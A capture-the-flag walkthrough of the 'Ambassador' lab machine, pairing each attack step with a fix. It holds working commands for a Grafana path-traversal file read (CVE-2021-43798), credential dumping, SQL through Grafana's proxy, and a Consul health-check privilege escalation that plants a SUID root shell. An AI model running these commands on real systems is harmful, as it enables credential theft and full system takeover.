← all walkthroughs

Ambassador

Linux· Medium· Credential Access· Privilege Escalation
owned
2026-08-28
time to own
15m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Grafana dashboard, a MySQL server, an Apache site, and SSH exposed on the Ambassador host. The Grafana instance was version 8.2.0, vulnerable to an unauthenticated path-traversal bug, and I used it to read arbitrary files off the server as the grafana user, including its configuration and its internal SQLite datastore. Those files handed me the Grafana admin password and the plaintext credentials for a provisioned MySQL datasource.

A direct connection to MySQL on 3306 was refused at the handshake, so I used the admin login to add a datasource through Grafana's own API and ran SQL through the built-in query proxy. That query dumped an application table holding the developer account's SSH password. The password gave me a real shell and the user flag.

From there sudo was a dead end, but a root-owned Consul agent listening on localhost and a project git repository became the escalation path: a Consul ACL token left in the repository's git history let me register a service whose health-check script Consul runs as root, which handed over the machine.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export TOKEN="<the-token-you-captured>"
export GRAFANA_PW="<a-value-you-captured-earlier>"
export MYSQL_PW="<a-value-you-captured-earlier>"

Attack path: how the box was taken

1EnumerationNetwork service enumeration
Mapped the exposed services
A port sweep of the target found SSH, an Apache web server hosting a Hugo site, a Grafana dashboard on port 3000, and MySQL on port 3306. Grafana redirected unauthenticated requests to /login, confirming a live monitoring stack worth targeting first.
22/tcp OpenSSH 8.2p1, 80/tcp Apache 2.4.41, 3000/tcp Grafana, 3306/tcp MySQL 8.0.30 all confirmed open.
Exact commands 2
shell

Confirm open ports and grab service banners and versions.

$ nmap -sC -sV -p22,80,3000,3306 $TARGET
shell

Confirm Grafana is live and read its exact version from the health endpoint.

$ curl -ksS --max-time 15 http://$TARGET:3000/api/health
2ExploitationPath Traversal / Arbitrary File Read (CVE-2021-43798)
Read arbitrary server files off Grafana via a path-traversal bug
The /api/health endpoint reported Grafana 8.2.0, which is vulnerable to CVE-2021-43798, a path-traversal flaw in the static-file handler used by plugins. A request that walked out of a plugin's asset directory let me read arbitrary files on disk as the grafana user with no authentication, including Grafana's own configuration, its provisioning files, and its internal SQLite database.
GET /public/plugins/alertlist/../../../../../../../../etc/passwd returned the real passwd file; the same technique pulled /etc/grafana/grafana.ini and a 659456-byte SQLite grafana.db.
Exact commands 3
shell

Prove the unauthenticated arbitrary file read works.

$ curl -sS --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
shell

Read Grafana's own configuration file.

$ curl -sS --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini"
shell

Exfiltrate the internal SQLite database that stores provisioned datasource credentials.

$ curl -sS --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" -o grafana.db
FixPatch Grafana to remove the plugin path-traversal vulnerabilityCritical
WeaknessGrafana 8.2.0 was vulnerable to CVE-2021-43798, letting anyone read arbitrary files on the server through a crafted plugin asset URL with no authentication.
FixUpgrade Grafana to a patched release (8.3.1 or later) and confirm the fix by re-testing the traversal path. Restrict inbound reachability to Grafana's web port until patched.
3Credential AccessUnsecured Credentials in Files (T1552.001)
Harvested credentials from the leaked Grafana files
grafana.ini carried the Grafana admin password in its [security] admin_password setting. The exfiltrated grafana.db, and the matching provisioning file /etc/grafana/provisioning/datasources/mysql.yaml, both stored a plaintext MySQL datasource credential for the local grafana database. Confirming the admin password against the API proved it live.
grafana.ini set admin_password to the Grafana admin secret; data_source row 2 (mysql.yaml) held user grafana with its plaintext password; admin basic-auth succeeded against /api/datasources.
Exact commands 2
shell

Dump the provisioned MySQL datasource credential from the exfiltrated database.

$ sqlite3 grafana.db "select id,name,type,user,password from data_source;"
shell

Confirm the admin password from grafana.ini works against the API.

$ curl -sS -u admin:$GRAFANA_PW http://$TARGET:3000/api/datasources
FixStop storing plaintext credentials in Grafana's local filesHigh
WeaknessGrafana's configuration, provisioning files, and internal SQLite database stored the admin password and the MySQL datasource password in recoverable plaintext, so a single file-read vulnerability exposed multiple credentials at once.
FixProvision datasources with secrets pulled from a secret manager or environment variables rather than storing them in grafana.db and plaintext provisioning YAML, restrict filesystem permissions on /var/lib/grafana and /etc/grafana so only the grafana service account can read them, and rotate every credential those files exposed.
4Post-Exploitation (App Pivot)Abuse of legitimate application proxy functionality for internal data access
Queried MySQL through Grafana's datasource proxy to recover the developer password
A direct MySQL client connection to 3306 was refused at the handshake, so I used the Grafana admin session instead. I added a new MySQL datasource through the API pointing at localhost:3306 with the recovered grafana credential, then called Grafana's query endpoint, which runs SQL against the datasource server-side and returns the result. Reading the application's whackywidget.users table that way returned the developer account's SSH password, stored base64-encoded.
A direct mysql connect returned 'Lost connection ... Reading initial communication packet'; POST /api/datasources created datasource id 3; POST /api/tsdb/query for SELECT * FROM whackywidget.users returned a base64 string that decoded to the developer password.
Exact commands 3
shell

Register a MySQL datasource the admin session can query (note the returned datasource id).

$ curl -sS -u admin:$GRAFANA_PW -H 'Content-Type: application/json' -X POST http://$TARGET:3000/api/datasources --data '{"name":"tmp","type":"mysql","url":"localhost:3306","access":"proxy","user":"grafana","database":"grafana","secureJsonData":{"password":"$MYSQL_PW"}}'
shell

Run SQL through the proxy against the new datasource; the response frame is base64 Arrow.

$ curl -sS -u admin:$GRAFANA_PW -H 'Content-Type: application/json' -X POST http://$TARGET:3000/api/tsdb/query --data '{"from":"1661894400000","to":"1661894401000","queries":[{"refId":"A","datasourceId":3,"rawQuery":true,"rawSql":"SELECT * FROM whackywidget.users","format":"table"}]}' -o users.json
shell

Decode the returned frame; the developer password is stored base64, so base64 -d it again to read the plaintext.

$ jq -r '.results.A.dataframes[0]' users.json | base64 -d | strings | grep -iA1 pass
FixRestrict Grafana's datasource proxy and admin accessHigh
WeaknessAny account with Grafana admin rights could add a datasource and use the built-in query proxy to run arbitrary SQL against the backing MySQL server, turning a compromised Grafana login into database access even when a direct MySQL connection was refused.
FixLimit Grafana admin and editor role membership, enforce SSO/MFA for admin logins, and network-segment MySQL so it is only reachable from hosts and services that genuinely need it rather than relying on Grafana's own access controls as the only gate.
5FootholdValid Accounts (T1078)
Logged in over SSH with the recovered developer password
The password from whackywidget.users was valid for the Linux developer account over SSH, giving an interactive shell and the user flag.
SSH login as developer returned uid=1000(developer), hostname ambassador, and the contents of /home/developer/user.txt.
Exact commands 2
shell

Authenticate with $SSH_PW; all later on-box commands run in this session.

$ ssh developer@$TARGET
shell

Confirm the shell and read the user flag; expect <user.txt> in place of the real value.

$ id; hostname; cat /home/developer/user.txt
uid=1000(developer)
FixRemove password-based SSH and stop storing login passwords in application tablesHigh
WeaknessThe developer Linux account authenticated over SSH with a plaintext password that was stored in an application database table, and password auth was accepted at all.
FixDisable password authentication for SSH in favour of key-based auth (PasswordAuthentication no in sshd_config), rotate the developer account's credential, and stop storing reusable login secrets in application tables.
6Local EnumerationLocal service and file enumeration
Enumerated the host for a privilege-escalation path
In the developer shell, sudo -l showed the account had no sudo rights, a dead end. Further enumeration found a root-owned HashiCorp Consul agent running as a systemd service and listening on localhost, alongside /opt/my-app, a root-owned directory containing a git repository (whackywidget).
Sudo -l returned 'developer may not run sudo on ambassador'; systemctl status consul showed the service active and running as root; ss -lntp showed 127.0.0.1:8500 and 127.0.0.1:8600 listening; /opt/my-app held a .git directory.
Exact commands 3
shell

Check for sudo rights (returned none for developer).

$ sudo -l
shell

Confirm a root-owned Consul agent is running and listening on localhost.

$ systemctl status consul --no-pager; ss -lntp | grep -E ':(8500|8600)'
shell

Locate the project directory and its git repository.

$ ls -la /opt/my-app /opt/my-app/whackywidget
7Privilege EscalationCredential recovery from VCS history + Consul agent service-check abuse (T1552.001 / T1543.002)
Recovered a Consul ACL token from git history and ran a root health-check script
The current put-config-in-consul.sh ran 'consul kv put' with no token, but git history showed an earlier version of the same line that passed '--token <uuid>'. The tidy-up commit had removed the token from the working tree while leaving it in history. Consul's agent HTTP API accepted that token, which let me register a service whose health-check script Consul executes on a schedule. Because the Consul agent runs as root, the script ran as root: it copied bash to /tmp/rootbash and set it SUID, giving a root shell and the root flag.
Git log -p on put-config-in-consul.sh showed the removed line 'consul kv put --token <uuid> whackywidget/db/mysql_pw $MYSQL_PASSWORD'; the register call returned HTTP=200; /tmp/rootbash appeared as -rwsr-xr-x root root; rootbash -p reported euid=0(root) and read /root/root.txt.
Exact commands 3
shell

Read the full history of the config script; the removed line leaks the Consul ACL token.

$ cd /opt/my-app && git log -p -- whackywidget/put-config-in-consul.sh
shell

Register a service whose health-check script Consul runs as root, dropping a SUID-root bash.

$ curl -sS -w '\nHTTP=%{http_code}\n' -X PUT -H "X-Consul-Token: $TOKEN" -H 'Content-Type: application/json' --data '{"ID":"root-check","Name":"root-check","Address":"127.0.0.1","Port":1,"Check":{"Args":["/bin/bash","-c","cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash"],"Interval":"2s","Timeout":"1s"}}' http://127.0.0.1:8500/v1/agent/service/register
shell

Wait for the check to fire, then run the SUID shell non-interactively to read the root flag; expect <root.txt> in place of the real value.

$ sleep 4; ls -l /tmp/rootbash; /tmp/rootbash -p -c '/usr/bin/id; cat /root/root.txt'
euid=0(root)
FixPurge secrets from git history and lock down the Consul agentCritical
WeaknessA Consul ACL token was committed to the whackywidget repository and stayed recoverable in git history after removal, and the Consul agent ran as root while accepting user-registered service health-check scripts, giving any holder of that token root code execution.
FixPurge the token from git history (git filter-repo or BFG) and rotate it immediately, run the Consul agent under a dedicated non-root service account, enable Consul ACLs in default-deny mode with least-privilege tokens, and disable or tightly sandbox script-based health checks.

Exposed services

22/tcp
80/tcp
3000/tcp
3306/tcp